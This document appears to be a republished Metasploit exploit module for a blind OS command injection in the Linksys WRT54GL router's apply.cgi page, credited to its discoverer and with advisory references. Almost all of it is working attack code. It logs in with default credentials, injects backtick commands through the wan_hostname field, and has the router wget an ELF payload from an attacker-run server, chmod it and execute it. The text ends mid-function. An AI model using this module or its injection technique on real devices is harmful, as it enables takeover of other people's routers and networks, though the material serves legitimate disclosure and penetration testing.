Linksys WRT54GL – ‘apply.cgi’ Command Execution (Metasploit)

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::HttpServer

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Linksys WRT54GL apply.cgi Command Execution',

'Description' => %q{

Some Linksys Routers are vulnerable to an authenticated OS command injection in

the Web Interface. Default credentials are admin/admin or admin/password. Since it

is a blind os command injection vulnerability, there is no output for the executed

command when using the cmd generic payload. A ping command against a controlled

system could be used for testing purposes. The user must be prudent when using this

module since it modifies the router configuration while exploitation, even when it

tries to restore previous values.

},

'Author' =>

[

'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module

'juan vazquez' # minor help with msf module

],

'License' => MSF_LICENSE,

'References' =>

[

[ 'OSVDB', '89912' ],

[ 'BID', '57459' ],

[ 'EDB', '24202' ],

[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ]

],

'DisclosureDate' => 'Jan 18 2013',

'Privileged' => true,

'Platform' => ['linux','unix'],

'Payload' =>

{

'DisableNops' => true

},

'Targets' =>

[

[ 'CMD',

{

'Arch' => ARCH_CMD,

'Platform' => 'unix'

}

],

[ 'Linux mipsel Payload',

{

'Arch' => ARCH_MIPSLE,

'Platform' => 'linux'

}

],

'DefaultTarget' => 1,

))

register_options(

[

OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),

OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),

OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),

OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),

OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),

OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ])

], self.class)

end

def get_config(config, pattern)

if config =~ /#{pattern}/

return $1

end

return ""

end

def grab_config(user,pass)

print_status("#{rhost}:#{rport} - Trying to download the original configuration")

begin

res = send_request_cgi({

'uri' => '/index.asp',

'method' => 'GET',

'authorization' => basic_auth(user,pass)

})

if res.nil? or res.code == 404

fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")

end

if [200, 301, 302].include?(res.code)

if res.body =~ /lan_ipaddr_0/

print_good("#{rhost}:#{rport} - Successful downloaded the configuration")

else

fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")

end

else

fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")

end

rescue ::Rex::ConnectionError

fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")

end

#now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested!

@now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")

if @now_proto_orig !~ /dhcp/

fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")

end

@wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")

if @wan_proto_orig !~ /dhcp/

fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")

end

@lan_proto_orig = get_config(res.body, "<input\ type=\"radio\"\ name=\"lan_proto\"\ value=\"(.*)\"\ checked\ onClick=\"SelDHCP")

@daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")

@lan_ipaddr_orig = get_config(res.body, "<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>")

@wait_time_orig = get_config(res.body, "<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>")

@need_reboot_orig = get_config(res.body, "<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>")

@lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\$this\,1\,223\,\"IP\"\$\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>")

@lan_ipaddr_1_orig = get_config(res.body, "\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\$this\,0\,255\,\"IP\"\$\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_1\">")

@lan_ipaddr_2_orig = get_config(res.body, "\<INPUT\ class=num maxLength=3\ onBlur=valid_range\$this\,0\,255\,\"IP\"\$\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_2\">")

@lan_ipaddr_3_orig = get_config(res.body, "<INPUT class=num maxLength=3\ onBlur=\"valid_range\$this,1,254,'IP'\$\;Sel_SubMask\$this.form.lan_netmask,this.form\$;\"\ size=3" <<

"\ value='(.*)'\ name=\"lan_ipaddr_3\"><\/TD>")

@router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\$this\,\"Router%20Name\"\$><\/FONT><\/TD>")

@wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\$this\,\"Domain%20name\"\,SPACE_NO\$><\/FONT><\/TD>")

@wan_hostname_orig = get_config(res.body, "<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\$this\,\"Host%20Name\"\$><\/FONT><\/TD>")

@wan_mtu_orig = get_config(res.body, "<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\$this\$\ size=5\ value='(.*)'\ name=\"wan_mtu\"><\/TD>")

if @wan_mtu_orig.to_i > 1500

@mtu_enable = "0"

end

@ui_language_orig = get_config(res.body, "<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>")

@dhcp_lease_orig = get_config(res.body, "<INPUT\ maxLength=4\ onBlur=valid_range\$this\,0\,9999\,\"DHCP%20Lease%20Time\"\$\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num")

@dhcp_num_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,1\,253\,\"Number%20of%20DHCP%20users\"\$\;Sel_SubMask_onblur\$this.form.lan_netmask\,this.form\$" <<

"\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>")

@dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\$this.form.lan_netmask\,this.form\$\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ " <<

"onChange=\"valid_dhcpd_start_ip\$this.form\,\ this\$\">")

@netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>")

@wan_dns_orig = get_config(res.body, "<input\ type=hidden\ name=wan_dns\ value=(.*)><INPUT\ maxLength=3")

@wan_dns0_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,223\,\"DNS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>")

@wan_dns0_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,255\,\"DNS\"\$\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>")

@wan_dns0_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,255\,\"DNS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>")

@wan_dns0_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,254\,\"DNS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>")

@wan_dns1_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,223\,\"DNS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>")

@wan_dns1_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,255\,\"DNS\"\$\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>")

@wan_dns1_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,255\,\"DNS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>")

@wan_dns1_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,254\,\"DNS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>")

@wan_dns2_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,223\,\"DNS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>")

@wan_dns2_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,255\,\"DNS\"\$\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>")

@wan_dns2_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,255\,\"DNS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>")

@wan_dns2_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,254\,\"DNS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>")

@wan_wins_orig = get_config(res.body, "<input\ type=hidden\ name=wan_wins\ value=(.*)><INPUT\ maxLength=3")

@wan_wins_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,223\,\"WINS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>")

@wan_wins_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,255\,\"WINS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>")

@wan_wins_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,255\,\"WINS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>")

@wan_wins_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\$this\,0\,254\,\"WINS\"\$\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>")

end

def restore_conf(user,pass,uri)

# we have used most parts of the original configuration

# just need to restore wan_hostname

cmd = @wan_hostname_orig.to_s

print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration")

res = request(cmd,user,pass,uri)

if (!res)

fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")

end

#the device needs around 10 seconds to apply our current configuration

print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")

select(nil, nil, nil, @timeout)

end

def request(cmd,user,pass,uri)

begin

res = send_request_cgi({

'uri' => uri,

'method' => 'POST',

'authorization' => basic_auth(user,pass),

'encode_params' => false,

'vars_post' => {

'submit_button' => "index",

'change_action' => "1",

'submit_type' => "1",

'action' => "Apply",

'now_proto' => @now_proto_orig.to_s,

'daylight_time' => @daylight_time_orig.to_s,

'lan_ipaddr' => @lan_ipaddr_orig.to_s,

'wait_time' => @wait_time_orig.to_s,

'need_reboot' => @need_reboot_orig.to_s,

'ui_language' => @ui_language_orig,

'wan_proto' => @wan_proto_orig.to_s,

'router_name' => @router_name_orig.to_s,

'wan_hostname' => cmd,

'wan_domain' => @wan_domain_orig.to_s,

'mtu_enable' => @mtu_enable.to_s,

'wan_mtu' => @wan_mtu_orig.to_s,

'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s,

'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s,

'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s,

'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s,

'lan_netmask' => "255.255.255.#{@netmask_orig}",

'lan_proto' => @lan_proto_orig.to_s,

'dhcp_check' => "1",

'dhcp_start' => @dhcp_start_orig.to_s,

'dhcp_num' => @dhcp_num_orig.to_s,

'dhcp_lease' => @dhcp_lease_orig.to_s,

'wan_dns' => @wan_dns_orig.to_s,

'wan_dns0_0' => @wan_dns0_0_orig.to_s,

'wan_dns0_1' => @wan_dns0_1_orig.to_s,

'wan_dns0_2' => @wan_dns0_2_orig.to_s,

'wan_dns0_3' => @wan_dns0_3_orig.to_s,

'wan_dns1_0' => @wan_dns1_0_orig.to_s,

'wan_dns1_1' => @wan_dns1_1_orig.to_s,

'wan_dns1_2' => @wan_dns1_2_orig.to_s,

'wan_dns1_3' => @wan_dns1_3_orig.to_s,

'wan_dns2_0' => @wan_dns2_0_orig.to_s,

'wan_dns2_1' => @wan_dns2_1_orig.to_s,

'wan_dns2_2' => @wan_dns2_2_orig.to_s,

'wan_dns2_3' => @wan_dns2_3_orig.to_s,

'wan_wins' => @wan_wins_orig.to_s,

'wan_wins_0' => @wan_wins_0_orig.to_s,

'wan_wins_1' => @wan_wins_1_orig.to_s,

'wan_wins_2' => @wan_wins_2_orig.to_s,

'wan_wins_3' => @wan_wins_3_orig.to_s,

'time_zone' => "-08+1+1", #default is ok

'_daylight_time' => '1' #default is ok

}

})

return res

rescue ::Rex::ConnectionError

vprint_error("#{rhost} - Failed to connect to the web server")

return nil

end

def exploit

downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))

uri = '/apply.cgi'

user = datastore['USERNAME']

pass = datastore['PASSWORD']

rhost = datastore['RHOST']

rport = datastore['RPORT']

restore = datastore['RESTORE_CONF']

@timeout = 10

#

# testing Login

#

print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")

begin

res = send_request_cgi({

'uri' => uri,

'method' => 'GET',

'authorization' => basic_auth(user,pass)

})

if res.nil? or res.code == 404

fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")

end

if [200, 301, 302].include?(res.code)

print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")

else

fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")

end

rescue ::Rex::ConnectionError

fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")

end

grab_config(user,pass)

if target.name =~ /CMD/

if not (datastore['CMD'])

fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")

end

cmd = payload.encoded

cmd = "`#{cmd}`"

res = request(cmd,user,pass,uri)

if (!res)

fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")

else

print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")

end

print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")

select(nil, nil, nil, @timeout)

restore_conf(user,pass,uri) if restore

return

end

#thx to Juan for his awesome work on the mipsel elf support

@pl = generate_payload_exe

@elf_sent = false

#

# start our server

#

resource_uri = '/' + downfile

if (datastore['DOWNHOST'])

service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri

else

#do not use SSL

if datastore['SSL']

ssl_restore = true

datastore['SSL'] = false

end

#we use SRVHOST as download IP for the coming wget command.

#SRVHOST needs a real IP address of our download host

if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")

srv_host = Rex::Socket.source_address(rhost)

else

srv_host = datastore['SRVHOST']

end

service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")

start_service({'Uri' => {

'Proc' => Proc.new { |cli, req|

on_request_uri(cli, req)

},

'Path' => resource_uri

}})

datastore['SSL'] = true if ssl_restore

end

#

# download payload

#

print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")

#this filename is used to store the payload on the device

filename = rand_text_alpha_lower(8)

#not working if we send all command together -> lets take three requests

cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"

cmd = "`#{cmd}`"

res = request(cmd,user,pass,uri)

if (!res)

fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")

end

# wait for payload download

if (datastore['DOWNHOST'])

#waiting some time so we could be sure that the device got the payload from our third party server

print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")

select(nil, nil, nil, datastore['HTTP_DELAY'])

else

wait_linux_payload

end

register_file_for_cleanup("/tmp/#{filename}")

#

# chmod

#

cmd = "chmod 777 /tmp/#{filename}"

cmd = "`#{cmd}`"

print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")

res = request(cmd,user,pass,uri)

if (!res)

fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")

end

print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")

select(nil, nil, nil, @timeout)

#

# execute

#

cmd = "/tmp/#{filename}"

cmd = "`#{cmd}`"

print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")

res = request(cmd,user,pass,uri)

if (!res)

fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")

end

print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")

select(nil, nil, nil, @timeout)

#

#reload original configuration

#

if restore

restore_conf(user,pass,uri)

end

# Handle incoming requests from the server

def on_request_uri(cli, request)

#print_status("on_request_uri called: #{request.inspect}")

if (not @pl)

print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")

return

end

print_status("#{rhost}:#{rport} - Sending the payload to the server...")

@elf_sent = true

send_response(cli, @pl)

end

# wait for the data to be sent

def wait_linux_payload

print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

waited = 0

while (not @elf_sent)

select(nil, nil, nil, 1)

waited += 1

if (waited > datastore['HTTP_DELAY'])

fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")

end

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